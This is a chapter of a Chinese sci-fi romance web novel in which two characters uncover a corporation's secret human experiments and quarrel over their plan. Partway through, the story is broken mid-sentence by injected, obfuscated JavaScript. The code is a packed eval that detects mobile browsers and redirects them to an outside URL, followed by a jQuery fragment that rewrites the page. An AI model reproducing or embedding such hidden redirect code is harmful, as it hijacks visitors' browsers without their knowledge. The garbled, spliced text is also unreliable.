严丝合缝的墙体突然被人推开，竟然是一道隐藏的暗门。
一道略显慌乱的身影从门缝中侧身挤出，在对上季晏面无表情的那张脸后，谷维的表情有一瞬间的停滞，在短暂几秒的空白后，他立刻挂上客套的笑容。
“啊，你们……”他的目光从紧贴的两人身上快速扫过，露出些许微妙的神色，“咳，那季顾问麻烦你带她回办公室。”说罢，他便迅速退了出去。
暗门重新合拢，将最后一丝光线隔绝。
密闭空间里无光、无风、无声音，只剩紧紧相拥的两人。
后背那安抚意味的抚摸还在持续，夹杂着交错的心跳和呼吸声。
季晏将脸埋进乔琢的肩窝，隔了许久，才稍微拉开些距离。
乔琢红着脸不知所措，悄悄抬眼去瞄对方，这才发现季晏额前满是细密的汗珠。
“你怎么了？”
她本能地抬手想去抓对方胳膊，指尖还没碰到衣袖，就被季晏侧身躲开。
乔琢僵在原地，这才注意到季晏的左手一直无力地垂在身侧。
“脱臼，没事。”
他从齿缝间挤出几个字，声音冷静得反常。随即握住左臂，干脆利落地一拉一送，“咔”的一声，关节便复位了。
季晏半虚脱地靠在乔琢身上，大口喘着气，冷汗沾湿了她的衣领。
“对不起……又是我，是吗？”乔琢扶着他，手和声音都抖得不行。自责和心疼呼啸而来。
“不关你的事，我的计划本来就预料到你会失控，这是我该承受的后果。”
季晏倚着墙慢慢站直，示意乔琢帮忙从兜里取出小盒，他咽下两颗止疼和清洁药丸，不到半分钟，这人已恢复往日的冷静与体面。
他牵起乔琢还汗津津的掌心，指腹擦过她泛红的眼尾，微微俯身，用额头抵上她的前额。
“还好，谷维没发现异常。出去以后，无论看见什么，听见什么，都要告诉自己时刻保持清醒。记住，你才是意识的主人。”
季晏转身推开墙上的暗门，一丝外界的微光从缝隙间漏入。
他突然回头。
“就算真的控制不住，也没关系，我在。”
回到工位时，乔琢面上已经完全恢复冷静，只是心里像破了一个大洞，嗖嗖地刮着冷风。
她从桌上翻出季晏给的集中注意力的药丸，就着营养液服下，随后戴上脑电波获取仪，开启工作模式，却没有真的在看实验报告。
“Prim,开启最高权限隐私模式。”
乔琢的心智系统经过季晏找人帮忙改造，已设计出一块独立存储空间，数据不会上传到基石系统。
因为那是C1集团最高等级的保密项目，所以刚才和谷维进入的楼层区域中，所有人的心智系统均被强制禁用。
但乔琢如今的记忆力和心智系统并无差别，甚至将信息存储在大脑中更加安全。
她在独立储存空间里新建一个空白分区，用最快的速度将记忆里的数据全部复刻进去。
数据浩如烟海，等她全部整理完毕，早已过了下班时间。
面对海量数据，乔琢的知识储备只能理解其中一部分，但这也足够她窥见真相的一角。
“他们竟然用活.人做实验，来验证生理年轻化和寿命极端延长的可行性？？”乔琢气得没忍住，一拳锤在扶手上，光滑圆润的线条立刻凹陷下去一块。
过了下班时间，公司的接驳车早就走了，是季晏一直在等她。
摸.摸被自己打变形的扶手，乔琢挤出一个尴尬但不失礼貌的笑容。
“对不起，我没想到Luminita这么不抗造。”
“没事，公司会报销修理费。”自己的流光梭被打坏，季晏面不改色，反而将大屏幕转向乔琢，指着上面的折线图：“你的力量又提升了8%。”
“今天分析数据的时候，我明显感觉到自己思考的速度变快了。”她指着自己的脑子，“我的脑细胞和神经系统应该也……”
“嗯……”季晏在大屏幕上快速点按几下，给出了准确答案，“神经传导效率确实提升了，你的神经元还在分.裂增殖。”
对于成年人，这根本是不可能的事情，乔琢低声嘟囔：“干脆把我抓去研究得了。”
直到季晏把热腾腾的饭菜端到饭桌上，乔琢也还在屋子里绕着圈地咒骂。
“先吃饭。”
碗筷都摆好了，难得乔琢没什么食欲。
食不知味地安静吃饭时，乔琢又在心里过了一遍今天进入机密楼层的全部流程。
没想到C1.大楼内竟然有完全封闭的专属电梯，需要生物识别才能进入，从体感判断不了是上升还是下降，无法确定具体抵达的楼层。
出了电梯是一片漆黑的密闭空间，需要进入者和里面的守卫同步完成生物识别，才可开启大门。
而且C1警惕到连季晏也没有权限，整个Pharam部门，只有谷维一人拥有通行权限。
“在里面工作的研究员，虽然都穿着防护服，但我仔细观察了他们的眼睛，确定都是我没在公司见过的人。”
季晏咽下一口牛腩，优雅地擦擦唇角。
“签署最高保密协议后，普通员工都会转到机密项目所在的楼层工作，上下班统一接送，公寓楼也是独立的一栋。你自然没见过他们。”
“那，我们俩？”
乔琢签下协议都半天了，也没见人来通知她搬离。
“只是我找了个借口，会延迟几天。而且……”他点点自己手上的戒指，“在你签下保密协议的那瞬间，心智系统就已经开启全方位监控模式。”
乔琢手里的筷子都差点掉桌上，她用口型无声质问季晏，这么重要的事怎么现在才说！
“幸好我早有准备，找朋友帮忙，给我们俩做了两套备份系统。按照设定，这会儿我们两应该正在各自公寓里健身。”
乔琢这才松口气瘫在椅子上，反应过来又怒斥季晏这种大喘气的行为。
“麻烦你下次提前说，并且一次说完，行不行？”
她突然反应过来哪里不对，抬起胳膊看着手环：“你什么时候装的？”
季晏憋着一丝笑意：“我一直在想，你什么时候才会问这个问题。”
他双手交叉撑在下巴下，表情略微嘲讽。
“你觉醒异能昏迷期间。不然心智系统有监控功能，我怎么敢带着你去地下，还和你说那么多机密信息。”
乔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273623|190116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
琢翻个白眼，大度的把此事翻篇了。
但这样的话，她想从研究员身上找到突破口，是不可能的了。
“那，你的计划下一步是怎么打算的？我们俩潜伏进项目里了，然后呢？”
脑子里还是无数个被禁锢在实验椅上的身影，以及断断续续的惨叫哀嚎声。
乔琢干脆把还剩半碗米饭的碗推开，双手叠放在桌上，像学生聆听教授的讲座。
“等。”
？
乔琢疲惫而松散的上半身，因为这个意料之外的答案瞬间支棱起来。
“你的计划居然是等？等什么？”
“契机。”
季晏的语气一如平常，像在讨论天气或吃什么。
过分冷静的态度却像一根火柴，嗤地点燃乔琢心中积压的情绪。。
“契机？能不能具体一点？”
“暂时不行。”
又是这样。
每每涉及到核心，季晏总是有所回避，在两人之间竖起无形的高墙。
这样的情况总会让乔琢清醒地认识到，她以为两人亲密无间，但在季晏的计划里，自己却依旧是需要被排除在外的对象。
但此刻纠结这个问题没有用，她不是来和季晏讨论两人关系的。
乔琢压下心头的酸涩与难堪，努力克制住感性。
“好，那如果等不到呢？你比我更清楚，实验室里的人根本撑不过一周！”
“乔琢。”他收拾好碗筷叠放在一旁，冷静地叫着她名字，截断她越来越大的音量，“你要清楚，实验是由联合管理局主导，我们对抗的不是C1这家公司，而是背后统治阶层的意志，以及掌握有社会话语权的阶级。换言之，就是对抗整个社会体系和当局。”
“好，那你等了多久?一直没等到契机吧。”
乔琢按捺不住情绪，直接站起来，手撑着桌子往前倾，语气也急了。
“我现在能掌控异能，所有数值也还在提升，为什么不利用我的异能……”
“乔琢。”季晏提高音量打断她，“你冷静一点，冲动救不了任何人。”
“那等待期间牺牲的人……就应该牺牲吗？”
乔琢知道季晏说得都对，但就这么眼睁睁看着，甚至于参与其中，将活生生的人作为实验品变为冰冷的实验数据，乔琢等不了。
季晏不说话，只是默默看着她。明明坐着，目光却带着审视意味向乔琢压.来。
讨厌他总是这副游刃有余、成竹在胸却什么都不肯说清的样子。
乔琢气得眼圈发红，胸腔里一把火烧得正旺，她没办法面对袖手旁观的自己，但又知道冲动的代价。
眼下无法继续共处一室，乔琢转身就要走，背后还是没有任何挽留或解释的声音。她眼眶里的泪摇摇欲坠。
“乔琢。”
这人终于出声，乔琢稳住步子尽量缓慢地转回去，不想显得自己太着急。
只见他敲敲桌子，指着那半碗饭，“吃完，不能浪费。”
乔琢先是愣住，像是没听清他在说什么。
难以言明的愤怒和失望一起冲上头顶。她一把端起碗，口不择言地吼道：“季晏，你就是个没有同情心的自私鬼，再见！”